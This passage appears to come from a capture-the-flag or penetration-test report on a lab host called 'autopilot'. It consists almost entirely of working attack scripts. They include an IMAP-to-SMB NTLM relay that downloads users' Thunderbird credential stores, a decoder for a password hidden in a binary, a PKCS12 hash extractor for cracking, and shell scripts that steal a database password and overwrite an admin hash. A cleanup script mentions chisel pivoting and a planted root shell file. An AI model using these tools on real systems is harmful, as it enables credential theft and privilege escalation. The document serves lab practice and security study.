            domainIp="172.16.20.1",
            machineAccount="",
            machineHashes="",
```

```
        )
        target = urlparse(f"smb://127.0.0.1:{self.smb_port}")
        client = SMBRelayClient(config, target, targetPort=self.smb_port)
        if not client.initConnection():
            raise ConnectionError("SMB negotiate failed")
        server = client.session.getSMBServer()
        security_mode = int(server._Connection.get("ServerSecurityMode", -1))
        dialect = int(client.session.getDialect())
        if security_mode < 0:
            client.killConnection()
            raise RuntimeError("SMB negotiate security mode unavailable; refusing relay")
        if security_mode & SMB_SIGNING_REQUIRED:
            client.killConnection()
            raise RuntimeError(
                f"SMB target requires signing (security_mode=0x{security_mode:02x}); refusing relay"
            )
        # Impacket 0.13 marks every SMB 3.1.1 session as signing-required even
        # when the server's NEGOTIATE response omits SMB2_NEGOTIATE_SIGNING_REQUIRED.
        # The Microsoft MS-SMB2 flag is authoritative; no policy-required bit
        # means the relay may proceed without signing.
        server._Connection["RequireSigning"] = False
        print(
            f"SMB_READY port={self.smb_port} dialect=0x{dialect:04x} "
            f"security_mode=0x{security_mode:02x} signing_required=no",
            flush=True,
        )
        return client

    def collect(self, client, domain, user):
        with self.lock:
            if self.collected or self.collecting:
                return
            self.collecting = True
        conn = client.session
        try:
            print(f"RELAY_SUCCESS identity={domain}\\{user} target=WS02", flush=True)
            shares = conn.listShares()
            names = [share["shi1_netname"].rstrip("\x00") for share in shares]
            print("SHARES=" + ",".join(names), flush=True)
        except Exception as exc:
            print(f"SHARE_ENUM_ERROR={type(exc).__name__}: {str(exc)[:160]}", flush=True)
            with self.lock:
                self.collecting = False
            return

        users = []
        try:
            users = [
                share_entry_name(entry)
                for entry in conn.listPath("C$", r"\Users\*")
                if share_entry_name(entry) not in (".", "..")
            ]
        except Exception as exc:
            print(f"C_DOLLAR_ERROR={type(exc).__name__}: {str(exc)[:160]}", flush=True)
            with self.lock:
                self.collecting = False
            return
        print("USER_PROFILE_DIRS=" + ",".join(users), flush=True)

        wanted = ("logins.json", "key4.db", "cert9.db", "prefs.js")
        for username in users:
            profile_root = rf"\Users\{username}\AppData\Roaming\Thunderbird\Profiles"
            try:
                profiles = [
                    share_entry_name(entry)
                    for entry in conn.listPath("C$", profile_root + r"\*")
                    if share_entry_name(entry) not in (".", "..")
                ]
            except Exception:
                profiles = []
            for profile in profiles:
                for filename in wanted:
                    remote = profile_root + rf"\{profile}\{filename}"
                    destination = self.output_dir / username / profile / filename
                    destination.parent.mkdir(mode=0o700, parents=True, exist_ok=True)
                    try:
                        with destination.open("wb") as output:
                            conn.getFile("C$", remote, output.write)
                        os.chmod(destination, 0o600)
                        print(f"DOWNLOADED={username}/{profile}/{filename} bytes={destination.stat().st_
size}", flush=True)
```

```
                    except Exception:
                        destination.unlink(missing_ok=True)
            remote = rf"\Users\{username}\Videos\runas.exe"
            destination = self.output_dir / username / "Videos" / "runas.exe"
            destination.parent.mkdir(mode=0o700, parents=True, exist_ok=True)
            try:
                with destination.open("wb") as output:
                    conn.getFile("C$", remote, output.write)
                os.chmod(destination, 0o600)
                print(f"DOWNLOADED={username}/Videos/runas.exe bytes={destination.stat().st_size}", flus
h=True)
            except Exception:
                destination.unlink(missing_ok=True)

        with self.lock:
            self.collected = True
            self.collecting = False

    def relay(self, type1, type3):
        client = self.new_client()
        challenge = client.sendNegotiate(type1)
        if not challenge:
            client.killConnection()
            raise RuntimeError("SMB target did not return an NTLM challenge")
        domain, user = ntlm_identity(type3)
        _, status = client.sendAuth(type3)
        if status != nt_errors.STATUS_SUCCESS:
            client.killConnection()
            return False, domain, user
        self.collect(client, domain, user)
        return True, domain, user


class IMAPRelayHandler(socketserver.BaseRequestHandler):
    def handle(self):
        sock = self.request
        sock.settimeout(35)
        reader_sock = sock
        tls_active = False
        tag = "A0001"
        self._send(sock, b"* OK Autopilot IMAP ready\r\n")
        try:
            while True:
                raw = read_line(reader_sock)
                if raw is None:
                    return
                text = raw.decode("ascii", errors="replace")
                fields = text.split()
                if not fields:
                    continue
                tag = fields[0]
                command = fields[1].upper() if len(fields) > 1 else ""
                if command == "CAPABILITY":
                    caps = b"* CAPABILITY IMAP4rev1 AUTH=NTLM STARTTLS\r\n" if not tls_active else b"* C
APABILITY IMAP4rev1 AUTH=NTLM\r\n"
                    self._send(reader_sock, caps + tag.encode() + b" OK CAPABILITY completed\r\n")
                elif command == "NOOP":
                    self._send(reader_sock, tag.encode() + b" OK NOOP completed\r\n")
                elif command == "STARTTLS" and not tls_active:
                    self._send(reader_sock, tag.encode() + b" OK Begin TLS negotiation now\r\n")
                    reader_sock = self.server.tls_context.wrap_socket(sock, server_side=True)
                    tls_active = True
                    print("IMAP_TLS_STARTED", flush=True)
                elif command == "AUTHENTICATE" and tls_active and len(fields) >= 3 and fields[2].upper()
 == "NTLM":
                    initial = fields[3] if len(fields) >= 4 else ""
                    if initial:
                        type1 = base64.b64decode(initial, validate=True)
                    else:
                        self._send(reader_sock, b"+\r\n")
                        response = read_line(reader_sock)
                        if response is None or response == b"*":
                            return
                        type1 = base64.b64decode(response.strip(), validate=True)
                    if not type1.startswith(NTLMSSP):
                        self._send(reader_sock, tag.encode() + b" NO Expected NTLM negotiate token\r\n")
                        return
                    challenge_client = self.server.collector.new_client()
                    challenge = challenge_client.sendNegotiate(type1)
                    if not challenge:
                        challenge_client.killConnection()
```

```
                        self._send(reader_sock, tag.encode() + b" NO SMB challenge failed\r\n")
                        return
                    self._send(reader_sock, b"+ " + base64.b64encode(challenge.getData()) + b"\r\n")
                    response = read_line(reader_sock)
                    if response is None or response == b"*":
                        challenge_client.killConnection()
                        return
                    type3 = base64.b64decode(response.strip(), validate=True)
                    domain, user = ntlm_identity(type3)
                    _, status = challenge_client.sendAuth(type3)
                    if status == nt_errors.STATUS_SUCCESS:
                        self._send(reader_sock, tag.encode() + b" OK authentication successful\r\n")
                        # SMB client state is already authenticated; reuse the
                        # exact client so file collection remains in this process.
                        self.server.collector.collect(challenge_client, domain, user)
                    else:
                        challenge_client.killConnection()
                        self._send(reader_sock, tag.encode() + b" NO authentication failed\r\n")
                        print(f"RELAY_DENIED identity={domain}\\{user} status=0x{int(status):08x}", flus
h=True)
                    return
                elif command == "LOGOUT":
                    self._send(reader_sock, b"* BYE logging out\r\n" + tag.encode() + b" OK LOGOUT compl
eted\r\n")
                    return
                else:
                    self._send(reader_sock, tag.encode() + b" BAD Unsupported command\r\n")
        except (ConnectionError, OSError, ssl.SSLError, ValueError) as exc:
            print(f"IMAP_SESSION_ERROR={type(exc).__name__}: {str(exc)[:160]}", flush=True)

    @staticmethod
    def _send(sock, data):
        sock.sendall(data)


class IMAPRelayServer(socketserver.ThreadingTCPServer):
    allow_reuse_address = True
    daemon_threads = True

    def __init__(self, address, collector, tls_context):
        self.collector = collector
        self.tls_context = tls_context
        super().__init__(address, IMAPRelayHandler)


def main():
    parser = argparse.ArgumentParser(description=__doc__)
    parser.add_argument("--bind", default="10.10.15.1")
    parser.add_argument("--port", type=int, default=1143)
    parser.add_argument("--smb-port", type=int, default=2445)
    parser.add_argument("--cert", default="/tmp/autopilot-tools/Responder/certs/responder.crt")
    parser.add_argument("--key", default="/tmp/autopilot-tools/Responder/certs/responder.key")
    parser.add_argument("--output-dir", default="reports/autopilot_2026-11-06/evidence/ws02-loot")
    args = parser.parse_args()

    context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
    context.minimum_version = ssl.TLSVersion.TLSv1_2
    context.load_cert_chain(args.cert, args.key)
    collector = RelayCollector(args.smb_port, args.output_dir)
    server = IMAPRelayServer((args.bind, args.port), collector, context)
    print(f"LISTENING={args.bind}:{args.port} SMB_FORWARD=127.0.0.1:{args.smb_port}", flush=True)
    try:
        server.serve_forever(poll_interval=0.5)
    except KeyboardInterrupt:
        pass
    finally:
        server.server_close()


if __name__ == "__main__":
    main()
```

腳本：smb_read_known_profile_file.py

來源：scripts/smb_read_known_profile_file.py | 完整原始內容

```
#!/usr/bin/env python3
"""Check whether the supplied AD user can read the known WS02 training binary."""
import getpass, hashlib, io
from impacket.smbconnection import SMBConnection
user=input('AD username: ').strip(); password=getpass.getpass('AD password: ')
s=SMBConnection('WS02','127.0.0.1',sess_port=2445,timeout=10)
try:
 s.login(user,password,'AUTOPILOT')
 buf=io.BytesIO()
 s.getFile('C$',r'\Users\stephanie.lewis\Videos\runas.exe',buf.write)
 data=buf.getvalue()
 print('read=success bytes='+str(len(data))+' sha256='+hashlib.sha256(data).hexdigest())
 open('reports/autopilot_2026-11-06/evidence/runas.exe','wb').write(data)
except Exception as e: print('read=denied_or_absent '+type(e).__name__+': '+str(e))
finally:
 try:s.logoff()
 except:pass
 password=''
```

腳本：decode_runas_go.py

來源：scripts/decode_runas_go.py | 完整原始內容

```
#!/usr/bin/env python3
"""Recover the embedded password from the assessed Go PE's XOR slices."""
import argparse
import os
import struct
from pathlib import Path

import pefile


def read_slice(pe, address):
    image_base = pe.OPTIONAL_HEADER.ImageBase
    pointer, length, capacity = struct.unpack("<QQQ", pe.get_data(address - image_base, 24))
    if length > capacity or length > 1024 * 1024:
        raise ValueError(f"invalid Go slice header at 0x{address:x}")
    data = pe.get_data(pointer - image_base, length)
    if len(data) != length:
        raise ValueError(f"short PE read for slice at 0x{address:x}")
    return data


def main():
    parser = argparse.ArgumentParser(description=__doc__)
    parser.add_argument("pe", type=Path)
    parser.add_argument("--cipher-address", type=lambda x: int(x, 0), default=0x1401B1910)
    parser.add_argument("--key-address", type=lambda x: int(x, 0), default=0x1401B1930)
    parser.add_argument("--output", type=Path, help="save recovered bytes to a mode-0600 file")
    args = parser.parse_args()

    pe = pefile.PE(str(args.pe), fast_load=True)
    cipher = read_slice(pe, args.cipher_address)
    key = read_slice(pe, args.key_address)
    if not cipher or not key:
        raise ValueError("cipher or key slice is empty")
    clear = bytes(value ^ key[index % len(key)] for index, value in enumerate(cipher))
    clear.decode("utf-8", errors="strict")
    if args.output:
        args.output.parent.mkdir(mode=0o700, parents=True, exist_ok=True)
        args.output.write_bytes(clear)
        os.chmod(args.output, 0o600)
        print(f"recovered_bytes={len(clear)} output={args.output}")
    else:
        print(clear.decode("utf-8"))


if __name__ == "__main__":
    main()
```

腳本：pkcs12_to_hashcat.py

來源：scripts/pkcs12_to_hashcat.py｜完整原始內容

```
#!/usr/bin/env python3

import binascii
import sys

try:
    from asn1crypto import pkcs12
except ImportError:
    sys.stderr.write("asn1crypto is missing, run 'pip install asn1crypto' to install it\n")
    sys.exit(1)


def parse_pkcs12(filename):
    data = open(filename, "rb").read()
    pfx = pkcs12.Pfx.load(data)

    auth_safe = pfx['auth_safe']
    if auth_safe['content_type'].native != 'data':
        sys.stderr.write("%s: only password-protected PKCS12 files are supported\n" % filename)
        return

    mac_data = pfx['mac_data']
    if not mac_data:
        sys.stderr.write("%s: no MAC data found in PKCS12 file\n" % filename)
        return

    mac_algo = mac_data['mac']['digest_algorithm']['algorithm'].native

    # hashcat has a mode for the SHA-1 and SHA-256 MACs only
    mac_algo_numeric = {
        'sha1': 1,
        'sha256': 256,
    }.get(mac_algo)

    if mac_algo_numeric is None:
        sys.stderr.write("%s: unsupported MAC algorithm '%s'\n" % (filename, mac_algo))
        return

    salt = mac_data['mac_salt'].native
    iterations = mac_data['iterations'].native
    stored_hmac = mac_data['mac']['digest'].native
    content_data = auth_safe['content'].contents

    hash_line = "$pkcs12$%s$%s$%s$%s$%s$%s$%s$%s" % (
        mac_algo_numeric,
        iterations,
        len(salt),
        binascii.hexlify(salt).decode(),
        len(content_data),
        binascii.hexlify(content_data).decode(),
        binascii.hexlify(stored_hmac).decode(),
    )

    sys.stdout.write("%s\n" % hash_line)


if __name__ == "__main__":
    if len(sys.argv) < 2:
        sys.stderr.write("Usage: %s <.pfx/.p12 file(s)>\n" % sys.argv[0])
        sys.exit(1)

    for i in range(1, len(sys.argv)):
        parse_pkcs12(sys.argv[i])
```

腳本：read_root_flag.py

來源：scripts/read_root_flag.py | 完整原始內容

```
#!/usr/bin/env python3
"""Read only the authorized HTB Administrator root.txt over the prepared SMB forward."""
import getpass
import argparse
import io
import os
from pathlib import Path
from impacket.smbconnection import SMBConnection

parser = argparse.ArgumentParser(description=__doc__)
parser.add_argument('--username')
parser.add_argument('--password-file', type=Path, help='mode-0600 local file; otherwise prompt securely'
)
parser.add_argument('--output', type=Path, help='optional mode-0600 flag evidence file')
args = parser.parse_args()
username = (args.username or input('AD username: ')).strip()
password = args.password_file.read_text().rstrip('\r\n') if args.password_file else getpass.getpass('AD
password: ')
smb = SMBConnection('dc01.autopilot.htb', '127.0.0.1', sess_port=1445, timeout=10)
try:
    smb.login(username, password, 'AUTOPILOT')
    out = io.BytesIO()
    smb.getFile('C$', r'\Users\Administrator\Desktop\root.txt', out.write)
    flag = out.getvalue().decode('ascii', errors='strict').strip()
    if len(flag) != 32:
        raise RuntimeError(f'Unexpected root.txt content length: {len(flag)}')
    if args.output:
        args.output.parent.mkdir(mode=0o700, parents=True, exist_ok=True)
        args.output.write_text(flag + '\n')
        os.chmod(args.output, 0o600)
    print(flag)
finally:
    try:
        smb.logoff()
    except Exception:
        pass
    password = ''
```

腳本：restore_postfix_via_admin_api.sh

來源：scripts/restore_postfix_via_admin_api.sh | 完整原始內容

```
#!/bin/bash
# Attempt supported DBConf restoration via grommunio-admin-api.
set +e
CF=/etc/postfix/grommunio-virtual-mailbox-maps.cf
DBPASS=$(sed -n 's/^password = //p' "$CF" | head -n 1)
ADMINPASS=$(cat /tmp/.autopilot-admin-pass)
ORIGHASH=$(cat /tmp/.autopilot-admin-hash)
SALT=$(openssl rand -hex 5)
TEMPHASH=$(openssl passwd -6 -salt "$SALT" "$ADMINPASS")
MYSQL_PWD="$DBPASS" mysql -N -s -h127.0.0.1 -ugrommunio grommunio -e "UPDATE users SET password='$TEMPHA
SH' WHERE id=0"
API=http://127.0.0.1:8080/api/v1
LOGIN=$(curl -sS --max-time 8 -H 'Host: mail.autopilot.htb' --data-urlencode 'user=admin' --data-urlenco
de "pass=$ADMINPASS" "$API/login")
TOKEN=$(printf '%s' "$LOGIN" | python3 -c 'import json,sys; print(json.load(sys.stdin).get("grommunioAut
hJwt",""))')
CSRF=$(printf '%s' "$LOGIN" | python3 -c 'import json,sys; print(json.load(sys.stdin).get("csrf",""))')
if [ -z "$TOKEN" ]; then echo admin_api_login=failed; exit 0; fi
RESULT=$(curl -sS --max-time 20 -w '\nHTTP_STATUS:%{http_code}' -X PUT -H 'Host: mail.autopilot.htb' -b
"grommunioAuthJwt=$TOKEN" -H "X-Csrf-Token: $CSRF" -H 'Content-Type: application/json' --data '{"data":{
"daemon_directory":"/usr/lib/postfix/bin"}}' "$API/system/dbconf/postfix/main.cf/")
printf 'admin_api_login=ok config_response=%s\n' "$(printf '%s' "$RESULT" | sed -n '1p' | cut -c1-280)"
printf 'main_cf_value='; /usr/sbin/postconf -h daemon_directory
printf 'main_cf_line='; grep -n '^daemon_directory' /etc/postfix/main.cf
printf 'dbconf_value='; MYSQL_PWD="$DBPASS" mysql -N -s -h127.0.0.1 -ugrommunio grommunio -e "SELECT val
ue FROM configs WHERE service='postfix' AND file='main.cf' AND \`key\`='daemon_directory'"
printf 'postfix='; systemctl is-active postfix.service
MYSQL_PWD="$DBPASS" mysql -N -s -h127.0.0.1 -ugrommunio grommunio -e "UPDATE users SET password='$ORIGHA
SH' WHERE id=0"
DBHASH=$(MYSQL_PWD="$DBPASS" mysql -N -s -h127.0.0.1 -ugrommunio grommunio -e 'SELECT password FROM user
s WHERE id=0')
[ "$DBHASH" = "$ORIGHASH" ] && echo admin_hash=restored
```

腳本：cleanup_dbconf_nonroot.sh

來源：scripts/cleanup_dbconf_nonroot.sh | 完整原始內容

```
set -eu
CF=/etc/postfix/grommunio-virtual-mailbox-maps.cf
DBPASS=$(sed -n 's/^password = //p' "$CF" | head -n 1)
MYSQL_PWD="$DBPASS" mysql -N -s -h127.0.0.1 -ugrommunio grommunio -e "DELETE FROM configs WHERE id=13 AN
D service='postfix' AND file='main.cf' AND \`key\`='daemon_directory' AND value='/usr/lib/postfix/bin'"
printf 'assessment_dbconf_rows='; MYSQL_PWD="$DBPASS" mysql -N -s -h127.0.0.1 -ugrommunio grommunio -e "
SELECT COUNT(*) FROM configs WHERE (service='grommunio-dbconf' AND file='postfix') OR (service='postfix'
 AND file='main.cf' AND \`key\`='daemon_directory')"
printf 'daemon_directory='; /usr/sbin/postconf -h daemon_directory
grep -n '^daemon_directory' /etc/postfix/main.cf
```

腳本：finalize_target.sh

來源：scripts/finalize_target.sh | 完整原始內容

```
#!/bin/bash
# Final target cleanup after restoring Postfix through the Admin API.
set -eu
CF=/etc/postfix/grommunio-virtual-mailbox-maps.cf
DBPASS=$(sed -n 's/^password = //p' "$CF" | head -n 1)
ORIGHASH=$(cat /tmp/.autopilot-admin-hash)
DBHASH=$(MYSQL_PWD="$DBPASS" mysql -N -s -h127.0.0.1 -ugrommunio grommunio -e 'SELECT password FROM user
s WHERE id=0')
test "$DBHASH" = "$ORIGHASH"
echo admin_hash=restored
MYSQL_PWD="$DBPASS" mysql -N -s -h127.0.0.1 -ugrommunio grommunio -e "DELETE FROM configs WHERE (id=11 A
ND service='grommunio-dbconf' AND file='postfix' AND \`key\`='commit_file' AND value='#POSTCONF') OR (id
=12 AND service='postfix' AND file='main.cf' AND \`key\`='daemon_directory' AND value='/usr/lib/postfix/
bin')"
systemctl reload postfix.service || systemctl restart postfix.service
printf 'daemon_directory='; /usr/sbin/postconf -h daemon_directory
printf 'postfix='; systemctl is-active postfix.service
printf 'imap='; systemctl is-active gromox-imap.service
printf 'assessment_dbconf_rows='; MYSQL_PWD="$DBPASS" mysql -N -s -h127.0.0.1 -ugrommunio grommunio -e "
SELECT COUNT(*) FROM configs WHERE (service='grommunio-dbconf' AND file='postfix' AND \`key\`='commit_fi
le') OR (service='postfix' AND file='main.cf' AND \`key\`='daemon_directory')"
pkill -f '^/tmp/\.chisel client ' 2>/dev/null || true
pkill -f '^python3 /tmp/\.imap[-_]forward\.py' 2>/dev/null || true
rm -f /tmp/.chisel /tmp/.chisel.log /tmp/.imap-forward.py /tmp/.imap_forward.py /tmp/.imap-forward.log /
tmp/.imap-forward.pid /tmp/.imap-watchdog.log /tmp/.autopilot-admin-pass /tmp/.autopilot-admin-hash
rm -f /var/spool/mail/postfix-script /var/spool/mail/autopilot-rootbash
printf 'target_artifacts='; if [ -e /var/spool/mail/postfix-script ] || [ -e /var/spool/mail/autopilot-r
ootbash ] || [ -e /tmp/.chisel ] || [ -e /tmp/.autopilot-admin-pass ]; then echo present; else echo remo
ved; fi
printf 'pivot_process='; if ps -eo args | grep -E '^/tmp/\.chisel client |^python3 /tmp/\.imap[-_]forwar
d\.py' | grep -qv grep; then echo present; else echo stopped; fi
```